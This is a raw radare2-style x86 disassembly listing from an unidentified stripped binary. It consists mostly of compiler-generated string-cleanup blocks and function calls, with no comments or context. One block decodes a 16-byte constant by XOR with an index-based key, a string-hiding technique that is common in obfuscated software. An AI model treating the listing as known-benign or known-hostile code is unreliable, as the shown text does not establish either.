jb 0x726a94
mov edx, dword [ebp - 0x110]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x726a8a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x726d89
push ecx
push edx
call fcn.007caa91
add esp, 8
mov ecx, edi
call fcn.0078cac0
cmp eax, 0x64
je 0x726527
mov esi, dword [ebp - 0x24]
mov ecx, esi
call fcn.0078cac0
cmp eax, 0x64
je 0x726146
test esi, esi
je 0x726b2f
mov esi, dword [esi]
mov edi, dword [esi + 0x44]
test edi, edi
je 0x726ad2
push edi
call dword [0x433d20]
add esp, 4
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x20], 0
mov eax, dword [ecx + 0x50]
cmp eax, 0xbdf20da3
je 0x726aed
cmp eax, 0x519c2973
jne 0x726af8
call fcn.0078b8c0
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
call fcn.0078bad0
test esi, esi
je 0x726b21
cmp byte [esi + 0x1e], 0
jne 0x726b10
cmp dword [ebp - 0x20], 0xc0a
jne 0x726b21
push 0
push 7
push esi
call fcn.0077b480
add esp, 0xc
mov byte [esi + 0x1e], 0
test edi, edi
je 0x726b2f
push edi
call dword [0x433d28]
add esp, 4
mov ecx, dword [ebp - 0xd0]
call fcn.00702890
movaps xmm0, xmmword [0x426730]
xor ecx, ecx
movups xmmword [ebp - 0xaa], xmm0
mov word [ebp - 0x9a], 0x100
lea eax, [ecx + 0x17]
xor byte [ebp + ecx - 0xaa], al
inc ecx
cmp ecx, 0x10
jb 0x726b53
mov ecx, dword [ebp - 0xf8]
lea eax, [ebp - 0xaa]
push eax
mov byte [ebp - 0x99], 0
call fcn.00757a00
lea ecx, [ebp - 0x98]
push ecx
mov ecx, eax
call fcn.00750d70
lea ecx, [ebp - 0x98]
call fcn.007513f0
mov esi, dword [ebp - 0x18]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x14c]
cmp ecx, 0x10
jb 0x726bd6
mov edx, dword [ebp - 0x160]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x726bcc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x726d89
push ecx
push edx
call fcn.007caa91
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x14c], 0xf
mov byte [ebp - 0x160], 0
cmp ecx, 0x10
jb 0x726c2f
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x726c25
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x726d89
push ecx
push edx
call fcn.007caa91
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x238]
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
cmp ecx, 0x10
jb 0x726c88
mov edx, dword [ebp - 0x24c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x726c7e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x726d89
push ecx
push edx
call fcn.007caa91
add esp, 8
mov edi, dword [ebp - 0xd4]
push edi
call dword [0x40c114]
inc edi
add edi, eax
mov dword [ebp - 0xd4], edi
cmp byte [edi], 0
jne 0x725aa0
mov ecx, dword [ebp - 0x164]
cmp ecx, 0x10
jb 0x726ce1
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x726cd7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x726d89
push ecx
push edx
call fcn.007caa91
add esp, 8
mov ecx, dword [ebp - 0x1e0]
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0xf
mov byte [ebp - 0x178], 0
cmp ecx, 0x10
jb 0x726d36
mov edx, dword [ebp - 0x1f4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x726d2c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x726d89
push ecx
push edx
call fcn.007caa91
add esp, 8
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x726d66
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x726d5c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x726d89
push ecx
push edx
call fcn.007caa91
add esp, 8
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.006f0440
call fcn.006f0440
call fcn.007cfd30
call fcn.00756f10
lea ecx, [ebp - 0x120]
call fcn.00755620
push eax
lea ecx, [ebp - 0x2b4]
call fcn.006f0b00
push eax
mov edx, 0x420e24
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x2cc]
call fcn.007577b0
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x280]
call fcn.006f6d20
add esp, 4
lea eax, [ebp - 0x280]
push 0x4312f0
push eax
call fcn.007cc47b
lea ecx, [ebp - 0x98]
call fcn.00755620
push eax
lea ecx, [ebp - 0x2e4]
call fcn.006f0b00
push eax
mov edx, 0x420e24
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x2fc]
call fcn.007577b0
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x29c]
call fcn.006f6d20
add esp, 4
lea eax, [ebp - 0x29c]
push 0x4312f0
push eax
call fcn.007cc47b
int3